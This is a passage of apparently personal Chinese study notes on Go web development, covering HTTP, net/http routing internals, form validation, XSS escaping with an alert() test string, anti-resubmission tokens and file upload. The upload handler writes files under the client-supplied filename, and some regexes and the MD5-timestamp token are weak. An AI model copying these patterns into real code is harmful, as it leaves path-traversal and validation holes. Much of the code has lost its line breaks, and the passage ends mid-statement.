[TOC]

Go语言web开发学习

写的比较早, 当时的理解可能不到位,有不对的地方,请评论告知.

主要是看的<go web编程>这本书

项目代码在这里

部分内容和我的另一个笔记<Golang学习笔记>有点重合,就当复习了.

基本上没有什么难度,主要内容就是些WEB方面老生常谈的东西:

  • http协议
  • web服务
  • 表单处理
  • 数据库操作
  • session处理
  • 文本文件处理
  • 安全和加密处理
  • 国际化和本地化处理
  • 错误处理,调试和测试
  • 项目部署和项目维护
  • 设计一个简单的web框架

web基础

http协议简单介绍

这个东西没什么好说的,不了解话可以看一下<http权威指南>这本书,这里就记录几个常用的说明.

URL和DNS解析

scheme://host[:port#]/path/.../[?query-string][#anchor]

  • scheme 指定请求协议,例如http,https,ftp等
  • host http服务器的IP地址或域名
  • port http服务器的端口号,如果用的是80端口可以省略不写
  • path 访问资源的路径
  • query-string 发送给http服务器的数据
  • anchor 锚

书中写的更详细的DNS解析的过程如下,这个过程有助于我们理解DNS的工作模式

  1. 在浏览器中输入www.qq.com域名,操作系统会先检查自己本地的hosts文件是否有这个网址映射关 系,如果有,就先调用这个IP地址映射,完成域名解析。
  2. 如果hosts里没有这个域名的映射,则查找本地DNS解析器缓存,是否有这个网址映射关系,如果有, 直接返回,完成域名解析。
  3. 如果hosts与本地DNS解析器缓存都没有相应的网址映射关系,首先会找TCP/IP参数中设置的首选DNS 服务器,在此我们叫它本地DNS服务器,此服务器收到查询时,如果要查询的域名,包含在本地配置 区域资源中,则返回解析结果给客户机,完成域名解析,此解析具有权威性。
  4. 如果要查询的域名,不由本地DNS服务器区域解析,但该服务器已缓存了此网址映射关系,则调用这 个IP地址映射,完成域名解析,此解析不具有权威性。
  5. 如果本地DNS服务器本地区域文件与缓存解析都失效,则根据本地DNS服务器的设置(是否设置转发 器)进行查询,如果未用转发模式,本地DNS就把请求发至 “根DNS服务器”,“根DNS服务器”收到请 求后会判断这个域名(.com)是谁来授权管理,并会返回一个负责该顶级域名服务器的一个IP。本地 DNS服务器收到IP信息后,将会联系负责.com域的这台服务器。这台负责.com域的服务器收到请求 后,如果自己无法解析,它就会找一个管理.com域的下一级DNS服务器地址(qq.com)给本地DNS服务 器。当本地DNS服务器收到这个地址后,就会找qq.com域服务器,重复上面的动作,进行查询,直至 找到www.qq.com主机。
  6. 如果用的是转发模式,此DNS服务器就会把请求转发至上一级DNS服务器,由上一级服务器进行解 析,上一级服务器如果不能解析,或找根DNS或把转请求转至上上级,以此循环。不管是本地DNS服 务器用是是转发,还是根提示,最后都是把结果返回给本地DNS服务器,由此DNS服务器再返回给客 户机。

http请求包(浏览器信息)

构, Request包分为3部分,第一部分叫Request line(请求行), 第二部分叫 Request header(请求头),第三部分是body(主体)。header和body之间有个空行,请求包的例子所示:

GET /domains/example/ HTTP/1.1 //请求行: 请求方法 请求URI HTTP协议/协议版本
Host:www.iana.org //服务端的主机名
User-Agent:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/2
2.0.1229.94 Safari/537.4 //浏览器信息
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 //客户端能接收
的mine
Accept-Encoding:gzip,deflate,sdch //是否支持流压缩
Accept-Charset:UTF-8,*;q=0.5 //客户端字符编码集
//空行,用于分割请求头和消息体
//消息体,请求资源参数,例如POST传递的参数

Http响应包(服务器信息

Response包中的第一行叫做状态行,由HTTP协议版本号, 状态码, 状态消息 三部分组成。

HTTP/1.1 200 OK //状态行
Server: nginx/1.0.8 //服务器使用的WEB软件名及版本
Date:Date: Tue, 30 Oct 2012 04:14:25 GMT //发送时间
Content-Type: text/html //服务器发送信息的类型
Transfer-Encoding: chunked //表示发送HTTP包是分段发的
Connection: keep-alive //保持连接状态
Content-Length: 90 //主体内容长度
//空行 用来分割消息头和主体
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"... //消息体

状态码用来告诉HTTP客户端,HTTP服务器是否产生了预期的Response。

HTTP/1.1协议中定义了5类状态码, 状态码由三位数字组成,第一个数字定义了响应的类别

  • 1XX 提示信息 - 表示请求已被成功接收,继续处理
  • 2XX 成功 - 表示请求已被成功接收,理解,接受
  • 3XX 重定向 - 要完成请求必须进行更进一步的处理
  • 4XX 客户端错误 - 请求有语法错误或请求无法实现
  • 5XX 服务器端错误 - 服务器未能实现合法的请求

http协议是无状态的和Connection: keep-alive的区别

  • 无状态是指协议对于事务处理没有记忆能力,服务器不知道客户端是什么状态。从另一方面讲,打开一个 服务器上的网页和你之前打开这个服务器上的网页之间没有任何联系。

  • HTTP是一个无状态的面向连接的协议,无状态不代表HTTP不能保持TCP连接,更不能代表HTTP使用的是UDP协议(面对无连接)。

  • 从HTTP/1.1起,默认都开启了Keep-Alive保持连接特性,简单地说,当一个网页打开完成后,客户端和服务器之间用于传输HTTP数据的TCP连接不会关闭,如果客户端再次访问这个服务器上的网页,会继续使用这一条已经建立的TCP连接。

  • Keep-Alive不会永久保持连接,它有一个保持时间,可以在不同服务器软件(如Apache)中设置这个时 间。

go搭建一个web服务器(用net/http包)

请求URL: http://localhost:999/?name=nihao&age=20

package mainimport ("fmt""github.com/gpmgo/gopm/modules/log""net/http""strings"
)//这两个参数w和r,不用刻意追求为什么这么写,因为外面的http.HandleFunc需要传入的一个回调函数
func sayHelloName(w http.ResponseWriter, r *http.Request) {r.ParseForm()                         //解析参数,默认是不会解析的,如果不调用该函数解析的话,后面的参数都会拿不到fmt.Println("path: ", r.URL.Path)     //打印URL中的pathfmt.Println("scheme: ", r.URL.Scheme) //打印http请求中的协议部分fmt.Println(r.Form["name"])           //打印get参数中的name参数for k, v := range r.Form { //遍历get参数表单,打印表单中的内容fmt.Println("query-string-key: ", k)fmt.Println("query-string-val: ", strings.Join(v, ""))}fmt.Fprintf(w, "hellow fucker") //写入到w的时输出到客户端
}func main() {http.HandleFunc("/", sayHelloName)      //设置访问的路由为/,并且调用回调函数err := http.ListenAndServe(":999", nil) //设置监听的端口if err != nil {log.Fatal("ListenAndService", err)}
}

Go的web运行机制

语言服务器概念

  • Request: 用户请求信息,用来解析用户的请求信息,包括post,get,cookie,URL等信息
  • Response: 服务器需要反馈给客户端的信息
  • Conn: 用户的每次请求链接
  • Handler: 处理请求和生成返回信息的处理逻辑

go的http运行机制

下图是,go实现web服务的工作模式的流程图

go实现web服务的工作模式的流程图

上图http包执行流程

  1. 创建Listen SOcket,监听指定的端口,等待客户端处理请求
  2. Listen SOcket接收客户端请求,得到client SOcket,然后通过Client SOcket与客户端通信
  3. 处理客户端的请求,首先从client socket中读取http请求的协议头,如果是post方法,还可能要读取客户端提交的数据,然后交给相应的Handler处理请求,Handler处理完毕准备好客户端准备的数据,通过client socket写给客户端

这整个的过程里面我们只要知道下面三个问题,就知道go如何让web运行起来了

  • 如何监听端口
  • 如何接收客户端请求
  • 如何分配handler

前面我们知道go是通过一个函数ListenAndServer来处理这件事的,这个底层是这样处理的:

初始化一个server对象,然后调用了net.Listen("tcp", addr),也就是底层用TCP协议搭建一个服务,然后监控我们设置的端口

下面代码来自go的http包的源码,通过下面的代码我们可以看到整个http处理过程

//上面代码执行监控端口之后,调用了srv.Serve(net.Listener)函数,该函数专门用来处理客户端的请求信息
func (srv *Server) Serve(l net.Listener) error {defer l.Close()var tempDelay time.Duration // how long to sleep on accept failure//这里起了一个死循环for {//通过Listen来接收请求rw, e := l.Accept()if e != nil {if ne, ok := e.(net.Error); ok && ne.Temporary() {if tempDelay == 0 {tempDelay = 5 * time.Millisecond} else {tempDelay *= 2}if max := 1 * time.Second; tempDelay > max {tempDelay = max}log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay)time.Sleep(tempDelay)continue}return e}tempDelay = 0//创建一个Connc, err := srv.newConn(rw)if err != nil {continue}//在这个死循环中启动goroutine,吧这个请求的数据当做参数传给Conn//这就是高并发的提现了,用户的每一次请求都是在一个新的goroutine去服务,相互不影响go c.serve()}
}

具体如何分配到相应的函数来处理请求:

conn首先会解析request:c.readRequest()然后获取相应的handler:handler :=c.server.Handler,也就是我们刚才在调用函数ListenAndServer的时候的第二个参数.我们在前面的例子中传递的时nil.那么默认获取handler=DefaultServeMux.

这个变量就是一个路由,他用来匹配URL跳转到其相应的handle函数,之前我们调用的代码里面第一句http.HandleFunc("/", sayHelloName)就用过.

这个函数注册了请求/的路由,当请求URI为/,路由就会跳转到函数sayHelloName(),DefaultServeMux会调用ServeHTTP方法同时把sayHelloName()作为回调传入进去,这个方法内部就是调用的传入进来的函数sayHelloName(),最后通过写入response的信息反馈到客户端

详细的流程图如下

go的http包详解

  • 这里可能会赶紧自己看不懂,看不懂没关系, 我已开始也开不动,学到头再回过来看就赶紧很简单了.

这里我们详细解刨一下http包,看他是怎么实现整个过程的

go的http有两个核心功能: Conn, ServeMux

Conn的goroutine

和我们一般写的http服务有所不同,go为了实现高并发和高性能,采用goroutine来处理Conn的读写事件

这样每个请求都能保持独立,相互不会阻塞,可以高效的影响网络事件.这就是go高效的保证

Go在等待客户端请求里面是这么写的:

c, err := srv.newConn(rw)
if err != nil{continue
}
go c.serve()

可以看到,客户端每次请求,都会创建一个Conn,这个Conn里面保存了该次请求的信息,

然后再传递到对应的handler,该handler中便可以读写到相应的header信息,保证了每个请求的独立性.

ServeMux的自定义

浅说conn.server的时候,其实内部是调用了http包默认的路由,通过路由把本次请求的信息传递到了后端的处理函数

路由机构如下:

type ServeMux struct{mu sync.RWMutex //锁,由于请求设计到并发处理,因此这里需要一个锁机制m map[string]muxEntry   //路由规则,一个string对应一个mux实体,这个string就是注册的路由表达式hosts bool  //是否在任意的规则中带有host信息
}

这里是muxEntry

type muxEntry struct{explicit bool   //是否精准匹配h       Handler //这个路由表达式对应哪个handle人pattern string  //匹配字符
}

这里是handler的定义

type Handler interface{ServeHTTP(ResponseWriter, *Request) //路由实现器
}

Handler是一个接口,但是前面说的sayHelloName()函数并没有实现ServeHTTP这个接口,也能添加,是因为在http包里面还定义了一个类型HanderFunc,我们定义的函数sayHelloName就是这个HandlerFunc调用之后的结果,这个类型默认就实现了ServeHTTP这个接口,即我们调用了HandlerFUnc(f),强制类型转换f成为HandlerFunc()类型,这样f就拥有了ServeHTTP方法.

type HandlerFunc func(ResponseWriter, *Request)//ServeHTTP calls f(w,r)
func(f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request){f(w, r)
}

默认路由实现了ServeHTTP:

func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request){if r.RequestURI == "*"{//关闭连接w.Header().Set("Connection","close")w.WriterHeader(StatusBadRequest)return}h, _:=mux.Handler(r)h.ServeHTTP(w, r)
}

如上所示,路由接收到请求之后,如果是*就关闭连接,否则调用mux.Handler(r)返回对应设置路由的处理Handler,然后执行h.ServeHTTP(w,r)

也就是调用对应路由的Handler的ServerHTTP接口,给mux.Handler(r)来处理,他会根据用户请求的URL和路由里面存储的map做匹配,当匹配到之后返回存储的Handler,调用这个Handler的ServeHTTP接口就可以执行到相应的函数

func (mux *ServeMux) Handler(r *Request) (h Handler, pattern string) {if r.Method != "CONNECT" {if p := cleanPath(r.URL.Path); p != r.URL.Path {_, pattern = mux.handler(r.Host, p)return RedirectHandler(p, StatusMovedPermanently), pattern}}  return mux.handler(r.Host, r.URL.Path)
}func (mux *ServeMux) handler(host, path string) (h Handler, pattern string) {mux.mu.RLock()defer mux.mu.RUnlock()// Host-specific pattern takes precedence over generic onesif mux.hosts {h, pattern = mux.match(host + path)}if h == nil {h, pattern = mux.match(path)}if h == nil {h, pattern = NotFoundHandler(), ""}return
}

通过上面的介绍,基本上能了解了路由过程,Go其实是支持实现的路由ListenAndServe的第二个参数就是用以配置外部路由器的,他是一个Handler接口,即外部路由只要实现了Handler接口就可以,我们可以在自己实现的路由器的ServeHTTP里面实现自定义路由功能

如下,我们自己实现了一个简单的路由器

package mainimport ("fmt""net/http"
)//自定义类型
type MyMux struct {
}//路由匹配方法,作为MyMux的方法,主要在下面传入函数中,覆盖系统的ServeHTTP用
func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {if r.URL.Path == "/" {SayHelloName(w, r)return}http.NotFound(w, r)return
}//打印一串字符串
func SayHelloName(w http.ResponseWriter, r *http.Request) {fmt.Fprintf(w, "Hello myroute")
}func main() {//声明该自定义类型,同时取到该类型的内存地址mux := &MyMux{}//监听端口//将该类型,作为回调函数放入到方法中,相应的MyMux类型的ServeHTTP方法也会被传入进去,或者说是在http.ListenAndServe调用ServeHTTP方法时被调用//因为http类型里面也有一个ServeHTTP方法, 上面我们自己写的ServeHTTP是为了,在这类传入进去,覆盖系统的ServeHTTP方法http.ListenAndServe(":999", mux)
}

Go代码的执行流程

通过对http包的分析之后,梳理一下代码执行过程

  • 首先调用了Http.HandleFunc 按顺序做了3件事
  1. 调用DefaultServeMux的HandleFunc
  2. 调用了DefaultServeMux的Handle
  3. 向DefaultServeMUX的map[string]muxEntry中增加对应的handler和路由规则
  • 其次调用http.ListenAndServe(":999",nil) 按顺序做了几件事
  1. 实例化server
  2. 调用Server的ListenAndServe()
  3. 调用net.Listen("tcp", addr)监听端口
  4. 启动一个for循环,在循环总Accept请求
  5. 对每个请求实例化一个Conn,并且开启一个goroutine为这个请求进行服务 go c.serve()
  6. 读取每个请求的内容w,err := c.readRequest()
  7. 判断Handler是否为空,如果没设置handler(我们上面的例子就没设置handler),handler就设置为DefaultServeMux
  8. 调用handler的ServeHttp
  9. 在这个例子中,下面进入到DefaultServeMUX.ServeHttp
  10. 根据request选择handler,并且进入到这个handler的ServeHTTP中mux.handler(r).ServeHttp(w,r)
  11. 选择handler:
A 判断是否有路由能满足这个request(循环遍历ServeMux的muxEntry)
B 如果有路由满足,则调用该路由的handler的ServeHTTP
c 如果没有路由满足,则调用NotFoundHandler的ServerHTTP

表单处理

没错这里说的表单指的就是HTML的<form></form>表单

处理表单提交的数据

静态页面,记得要放在项目的根目录

<html>
<head>
<title></title>
</head>
<body>
<form action="/login" method="post">用户名:<input type="text" name="username">密码:<input type="password" name="password"><input type="submit" value="登录">
</form>
</body>
</html>

go的web服务

package mainimport ("fmt""html/template""log""net/http""strings"
)func sayHelloName(w http.ResponseWriter, r *http.Request) {r.ParseForm() //解析URL传递的参数,对于POST则解析请求包的主图,request body//注意,如果没有调用parseform,方法,下面将无法获取表单数据fmt.Println(r.Form) //打印提交的数据, r.Form里面包含了所有请求的参数fmt.Println("path", r.URL.Path)fmt.Println("scheme", r.URL.Scheme)fmt.Println(r.Form["name"])for k, v := range r.Form {fmt.Println("key:", k)fmt.Println("value", strings.Join(v, ""))}//将数据打印到客户端页面fmt.Fprintf(w, "Hellow fucker")
}func login(w http.ResponseWriter, r *http.Request) {fmt.Println("method", r.Method) //获取请求的方法//判断是否是GET请求if r.Method == "GET" {//这个应该是读取静态页面t, err := template.ParseFiles("login.gtpl")fmt.Println(err)//打印页面内容log.Println(t.Execute(w, nil))} else {r.ParseForm() //解析URL传递的参数,对于POST则解析请求包的主图,request body//请求的时登录数据, 所以执行登录的逻辑判断//r.Form里面包含了所有请求的参数fmt.Println("username:", r.Form["username"])fmt.Println("password:", r.Form["password"])}
}func main() {//调用设置路由,放置回调函数http.HandleFunc("/", sayHelloName)      //设置访问的路由http.HandleFunc("/login", login)        //设置访问的路由err := http.ListenAndServe(":999", nil) //设置监听的端口if err != nil {log.Fatal("listenAndServer:", err)}
}

上面的代码,可看到,获取请求方式是通过r.Method来完成的,这是个字符串类型的变量,返回GET,POST,PUT等method信息

login函数中我们根据r.Method来判断是显示登录页面还是处理登录逻辑.用GET方式请求时显示登录界面,其他方式请求时则处理登录逻辑.

r.Form里面包含了所有请求的参数,比如URL中query-string、POST的数据、PUT的数据,所以当你在URL中的query-string字段和POST冲突时,会保存成一个slice,里面存储了多个值,Go官方文档中说在接下来的版本里面将会把POST、GET这些数据分离开来。

request.Form是一个url.Values类型,里面存储的是对应的类似key=value的信息,下面展示了可以对form数据进行的一些操作:

v := url.Values{}
v.Set("name", "Ava")
v.Add("friend", "Jess")
v.Add("friend", "Sarah")
v.Add("friend", "Zoe")
// v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe"
fmt.Println(v.Get("name"))
fmt.Println(v.Get("friend"))
fmt.Println(v["friend"])

Tips: Request本身也提供了FormValue()函数来获取用户提交的参数。如r.Form["username"]也可写成r.FormValue("username")。调用r.FormValue时会自动调用r.ParseForm,所以不必提前调用。r.FormValue只会返回同名参数中的第一个,若参数不存在则返回空字符串。

验证表单提交的数据

必填字段

通过len()函数获取调教数据的元素长度来判断

r.Form对不同类型的表单元素的留空有不同的处理方式,对空文本框,空文本区域以及上传文件,元素的值为空值

而如果是未选中的复选框和单选按钮,则根本不会再r.Form中产生相应的条目.所以我们要通过r.Form.Get()来获取值.因为如果字段不存在,通过该方式获取的时空值

但是通过r.Form.Get()只能获取单个的值,如果是map的值,则必须通过上面的方式来获取

if len(r.Form["username"][0] ==0){//TODO
}

数字

如果我们要判断正整数, 那么我们要先转化成int类型,然后在处理

getint,err := strconv.Atoi(r.Form.Get("age"))
if err != nil{//转换失败
}
//转换成功,判断数字大小等操作
if getint >100{//todo
}

使用正则判断是不是数字

Go实现的正则是RE2,所有的字符都是UTF-8编码的。

//如果正则未匹配到0-9的数字,m会返回一个false
if m, _:= regexp.MatchString("^[0-9]+$", From.Get("age")); !m{return false
}

中文

对于中文可以使用unicode包提供的funcIs(rangeTab *RangeTable, r rune) bool来验证,也可以使用正则方式来验证,这里使用最简单的整的表达式

if m, _ := regexp.MatchString("^\\p{Han}+$", r.Form.Get("realname")); !m {return false
}

英文

if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m {return false
}

邮箱地址

if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m {fmt.Println("no")
}else{fmt.Println("yes")
}

手机号

if m, _ := regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`, r.Form.Get("mobile")); !m {return false
}

下拉菜单

准备一点select元素

<select name="fruit">
<option value="apple">apple</option>
<option value="pear">pear</option>
<option value="banana">banana</option>
</select>

验证方式

//定义一个事先准备好的map,对应下拉菜单
slice:=[]string{"apple","pear","banana"}
//获取调教到的下拉菜单数据
v := r.Form.Get("fruit")
//遍历菜单,和事先定义好的map,做对比
for _, item := range slice {if item == v {return true}
}return false

单选按钮

准备两个单元框

<input type="radio" name="gender" value="1">男
<input type="radio" name="gender" value="2">女

验证方式

//定义一个事先准备好的slice,对应下拉菜单
slice:=[]string{"1","2"}
//和验证下拉一样,遍历事先准备好的数组,和提交内容,一一做对比
for _, v := range slice {if v == r.Form.Get("gender") {return true}
}
return false

复选框

准备复选框

<input type="checkbox" name="interest" value="football">足球
<input type="checkbox" name="interest" value="basketball">篮球
<input type="checkbox" name="interest" value="tennis">网球

验证复选框,比较繁琐

func Slice_diff(slice1, slice2 []interface{}) (diffslice []interface{}) {for _, v := range slice1 {if !In_slice(v, slice2) {diffslice = append(diffslice, v)}}return
}func In_slice(val interface{}, slice []interface{}) bool {for _, v := range slice {if v == val {return true}}return false
}//验证复选框
func validate(){//准备一个sliceslice:=[]string{"football","basketball","tennis"}//通过内置函数,直接对提交的数据和事先定义的slice做diff即可a:=Slice_diff(r.Form["interest"],slice)if a == nil{return true}return false
}

日期和时间

通过使用go的time包来做处理

//例如 ,用户在日程表中安排8月份的第45天开会
//一般我们都是用时间戳来做处理,只有输出展示的时候才用时间格式
//  //time.November 为11月,这里正常的输出应该是2009-11-10 23:00:00,但是下面.local()了一下,获取的时当地时间
t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC)
//折算成当地的时间,获取的时当地时间
fmt.Printf("Go launched at %s\n", t.Local())

身份证号码

//验证15位身份证,15位的是全部数字
if m, _ := regexp.MatchString(`^(\d{15})$`, r.Form.Get("usercard")); !m {return false
}//验证18位身份证,18位前17位为数字,最后一位是校验位,可能为数字或字符X。
if m, _ := regexp.MatchString(`^(\d{17})([0-9]|X)$`, r.Form.Get("usercard")); !m {return false
}

简单的验证案例

package mainimport ("fmt""regexp""time"
)//日期时间
func ValidateDate() {//func Date(year int, month Month, day, hour, min, sec, nsec int, loc *Location) Time {} // 返回指定时间//time.November 为11月,这里正常的输出应该是2009-11-10 23:00:00,但是下面.local()了一下,获取的时当地时间t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC)//折算成当地的时间,获取的时当地时间fmt.Printf(" %s\n", t.Local())
}//身份证
func ValidateIdCard(idCard string) bool {//验证15位身份证,15位的是全部数字//if m, _ := regexp.MatchString(`^(\d{15})$`, idCard); !m {//   return false//}//验证18位身份证,18位前17位为数字,最后一位是校验位,可能为数字或字符X。if m, _ := regexp.MatchString(`^(\d{17})([0-9]|X)$`, idCard); !m {return false}return true
}//电子邮件地址
func validateEmail(email string) bool {if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, email); !m {return false} else {return true}
}func main() {ValidateDate()println(ValidateIdCard("111111111111111111"))println(validateEmail("nihao@nihao.com"))}

预防XSS跨站脚本攻击

对于XSS的防护主要是两个方法

  • 验证所有输入,检测攻击数据.
  • 对输出信息进行适当的处理,防止被注入的脚本在浏览器运行

在GO里面,有现成的包可以做处理html/template包里面的几个函数可以帮我们转义

经过我的测试发现,下面的三个函数都是用来过滤HTML标签的

  • func HTMLEscape(w io.Writer, b []type)//把b转义之后写到w
  • func HTMLEscapeString(s string) string //转义s之后返回结果字符串
  • func HTMLEscaper(args ...interface{}) string //支持多个参数一起转义,返回结果字符串

转义案例

如果我们输入的username是<script>alert()</script>,那么我们可以在浏览器上面看到结果正常打印在页面上,而不是运行一个弹窗出来

//这些代码需要在,HTTP服务中运行,尤其是下面template.HTMLEscape的w变量就是http.ResponseWriter
//讲转义结果,保存到服务器端
fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username")))
fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))//讲转义结果,输出到客户端
template.HTMLEscape(w, []byte(r.Form.Get("username")))//页面输出结果
//&lt;script&gt;alert(111)&lt;/script&gt;

代码案例


func validateXss(w http.ResponseWriter,r *http.Request) {var xssStr string = "<script>alert(111)</script>"fmt.Println("username:", template.HTMLEscapeString(xssStr)) //输出到服务器端fmt.Println("password:", template.HTMLEscapeString(xssStr))template.HTMLEscape(w, []byte(xssStr)) //直接输出到客户端浏览器页面//页面输出结果
//&lt;script&gt;alert(111)&lt;/script&gt;
}func main() {//ValidateDate()//println(ValidateIdCard("111111111111111111"))//println(validateEmail("nihao@nihao.com"))//调用设置路由,放置回调函数http.HandleFunc("/", validateXss)      //设置访问的路由err := http.ListenAndServe(":999", nil) //设置监听的端口if err != nil {log.Fatal("listenAndServer:", err)}
}

正常显示HTML标签 主要使用 template模板

常用方法

// 初始化一个template对象
type Template struct {Tree *parse.Tree
}
// Must函数会在Parse返回err不为nil时,调用panic,不需要初始化后再调用Parse方法去检测
func Must(t *Template,err error) *Template
// New函数用来创建一个指定的HTML模板
func New(name string) *Template// ParseFiles函数用来从一个指定的文件中创建并解析模板
func ParseFiles(filenames ...string) (*Template, error)// ParseGlob函数从指定的匹配文件中创建并解析模板,必须得至少匹配一个文件
func ParseGlob(pattern string) (*Template, error)// Template结构体对象常用的几个方法// 使用New()函数创建的模板需要指定模板内容
func (t *Template) Parse(text string) (*Template, error)// Delims()方法用来指定分隔符来分割字符串,随后会使用Parse, ParseFiles, or ParseGlob方法进行模板内容解析
func (t *Template) Delims(left, right string) *Template// Execute()方法用来把一个模板解析到指定的数据对象data中,并且写入到输出wr中。如果有任何错误,就like停止,但如果是并行操作的话,有一些数据已经被写入了。因此,使用该方法一定要注意并发安全性
func (t *Template) Execute(wr io.Writer, data interface{}) error//同上,但是使用名为name的t关联的模板产生输出。
//因为使用 t.Execute() 无法找到要使用哪个加载过的模板进行数据融合,而只有New()创建时才会指定一个 t.Execute() 执行时默认
func (t *Template) ExecuteTemplate(wr io.Writer, name string, data interface{}) error

html/template包帮我们过滤了HTML标签,如果想要HTML标签正常显示<script>alert(111)</script>,可以使用text/template

例如:

t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
if err != nil {panic(err)
}
//这里如果要接收变量的的话可以通过缓冲区的形式,或者把out改成os.Stdout
var out = new(bytes.Buffer)
//改成这样也可以输入到控制台,err = t.ExecuteTemplate(os.Stdout,
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
println(out.String())
//期待输出结果
//Hello, <script>alert('you have been pwned')</script>!
//现实输出结果
//Hello, &lt;script&gt;alert(&#39;you have been pwned&#39;)&lt;/script&gt;!
//虽然书上的这个案例不对,但是,,,找到了思路

或者使用template.HTML类型

import "html/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", template.HTML("<script>alert('you have been pwned')</script>"))
//期待输出结果
//Hello, <script>alert('you have been pwned')</script>!
//现实输出结果
//Hello, &lt;script&gt;alert(&#39;you have been pwned&#39;)&lt;/script&gt;!
//虽然书上的这个案例不对,但是,,,找到了思路

转换成template.HTML后,变量的内容也不会被转义

转义的例子:

import "html/template"t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
if err != nil {panic(err)
}
err = t.ExecuteTemplate(os.Stdout, "T", "<script>alert('you have been pwned')</script>")
//期待结果Hello, &lt;script&gt;alert(&#39;you have been pwned&#39;)&lt;/script&gt;!//这个输出的记过是对的....
//结果Hello, &lt;script&gt;alert(&#39;you have been pwned&#39;)&lt;/script&gt;!

防止多次递交表单

有时候网络不太好的情况下,用户可能会在提交时,多次点击提交按钮,导致表单重复提交多次.

这会造成,重复的内容保存了多次.对用户而言是一个不好的体验,对服务器而言多了很多无效数据和请求.

解决方案是在表单中添加一个带有唯一值的隐藏字段。在验证表单时,先检查带有该唯一值的表单是否已经递交过了。如果是,拒绝再次递交;如果不是,则处理表单进行逻辑处理。另外,如果是采用了Ajax模式递交表单的话,当表单递交后,通过javascript来禁用表单的递交按钮。

html代码

<input type="checkbox" name="interest" value="football">足球
<input type="checkbox" name="interest" value="basketball">篮球
<input type="checkbox" name="interest" value="tennis">网球
用户名:<input type="text" name="username">
密码:<input type="password" name="password">
<input type="hidden" name="token" value="{{.}}">
<input type="submit" value="登陆">

我们在模版里面增加了一个隐藏字段token,这个值我们通过MD5(时间戳)来获取唯一值,然后我们把这个值存储到服务器端(session来控制,我们将在第六章讲解如何保存),以方便表单提交时比对判定。

我们看到token已经有输出值,你可以不断的刷新,可以看到这个值在不断的变化。这样就保证了每次显示form表单的时候都是唯一的,用户递交的表单保持了唯一性

func login(w http.ResponseWriter, r *http.Request) {fmt.Println("method:", r.Method) //获取请求的方法if r.Method == "GET" {crutime := time.Now().Unix()h := md5.New()io.WriteString(h, strconv.FormatInt(crutime, 10))token := fmt.Sprintf("%x", h.Sum(nil))t, _ := template.ParseFiles("login.gtpl")t.Execute(w, token)} else {//请求的是登陆数据,那么执行登陆的逻辑判断r.ParseForm()token := r.Form.Get("token")if token != "" {//验证token的合法性} else {//不存在token报错}fmt.Println("username length:", len(r.Form["username"][0]))fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //输出到服务器端fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))template.HTMLEscape(w, []byte(r.Form.Get("username"))) //输出到客户端}
}

文件上传

要通过form表单进行上传,别忘了设置enctype属性

enctype属性

  • application/x-www-form-urlencoded 表示在发送前编码所有字符(默认)
  • multipart/form-data 不对字符编码。在使用包含文件上传控件的表单时,必须使用该值。
  • text/plain 空格转换为 "+" 加号,但不对特殊字符编码。

准备HTML表单

<html>
<head><title>上传文件</title>
</head>
<body>
<form enctype="multipart/form-data" action="/upload" method="post"><input type="file" name="uploadfile" /><input type="hidden" name="token" value="{{.}}"/><input type="submit" value="upload" />
</form>
</body>
</html>

在服务端,我们增加一个http.HandleFuc和一个upload函数

http.HandleFunc("/upload", upload)// 处理/upload 逻辑
func upload(w http.ResponseWriter, r *http.Request) {fmt.Println("method:", r.Method) //获取请求的方法//判断请求方式if r.Method == "GET" {//get请求,获取模板展示//获取当前时间戳crutime := time.Now().Unix()h := md5.New()io.WriteString(h, strconv.FormatInt(crutime, 10))token := fmt.Sprintf("%x", h.Sum(nil))//这个应该是读取静态页面t, _ := template.ParseFiles("upload.gtpl")//打印页面内容,同时输出变量到页面t.Execute(w, token)} else {//其他请求,代表提交数据//调用r.ParseMultipartForm,里面的参数maxMemory,调用ParsemultipartForm之后,上传的文件存储在maxMemory大小的内存里,如果文件大小超过了maxMemory,那么剩下的部分将存储在系统的临时文件里,我们通过r.FormFile获取上面的文件句柄,然后利用使用io.Copy来存储文件//获取其他非文件字段信息的时候就不需要调用r.ParseForm,因为在需要的时候Go自动会去调用。而且ParseMultipartForm调用一次之后,后面再次调用不会再有效果。r.ParseMultipartForm(32 << 20)//通过上传的文件名,获取上传的文件file, handler, err := r.FormFile("uploadfile")if err != nil {fmt.Println(err)return}defer file.Close()fmt.Fprintf(w, "%v", handler.Header)//保存文件,同时赋予文件666的权限//openFile和open的地方在于open只能用来读取文件,handler.Filename获取文件名//os.O_WRONLY | os.O_CREATE | O_EXCL           【如果已经存在,则失败】//os.O_WRONLY | os.O_CREATE                         【如果已经存在,会覆盖写,不会清空原来的文件,而是从头直接覆盖写】//os.O_WRONLY | os.O_CREATE | os.O_APPEND  【如果已经存在,则在尾部添加写】//这里这个handler.Filename,会获取到包括路径在内的文件名,所以我改成了时间f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666)  // 此处假设当前目录下已存在test目录if err 